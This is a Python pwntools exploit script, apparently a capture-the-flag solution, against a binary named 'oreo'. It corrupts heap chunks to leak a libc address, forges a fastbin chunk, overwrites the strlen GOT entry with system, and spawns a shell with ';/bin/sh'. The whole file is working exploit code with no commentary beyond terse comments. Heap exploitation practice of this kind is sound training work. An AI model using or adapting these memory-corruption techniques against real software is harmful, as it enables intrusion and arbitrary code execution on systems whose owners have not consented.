from pwn import *

context.log_level='debug'

def Add(name,desc):
	s.sendline('1')
	s.sendline(name) #0x38
	s.sendline(desc) #0x38

def Show(until=False):
	
        s.sendline('2')

	if until is not False:
		s.recvuntil(until)

def Order():
        s.sendline('3')

def Leave(msg):
        s.sendline('4')
	s.send(msg)

def Current_stats():
        s.sendline('5')


if __name__ == "__main__":
	
	binary='./oreo'
	libc='/lib/i386-linux-gnu/libc.so.6'

	s=process('oreo')

	e=ELF(binary)
	l=ELF(libc)
	
	Add('A'*0x10,'a'*0x10)
	Add('B'*27+p32(e.got['malloc']+1),'B'*25) #prev heapchunk modify

	Show(until='Description: ')
	Show(until='Description: ')

	s.recv(3) #dummy recv
	
	puts_libc=u32(s.recv(4)) #libc leak!!!
	system_libc=puts_libc-0x24f00 #calc system@libc

	for i in range(0,0x41-5): #fake size!! 0x41
		Add('\x90'*27+'\x00'*5,'G') #prev heapchunk modify '\x00' -> non exist

	Add('S','s') #chunk A
	Order() #only two chunk will be free

	Add("A"*27 + p32(0) + p32(0x0) + p32(0x41) + p32(0x0804A2A4-4),'1') #next fastbin size modify
	Add('A','a') #dummy
	Add('B',p32(e.got['strlen'])) #msg buf will be change from 0x0804a2c0 -> strlen@got

	Leave(p32(system_libc)+";/bin/sh") #strlen() -> call system(p32(system_libc);"/bin/sh")
		
	print "system@libc: "+str(hex(system_libc))

	s.interactive()

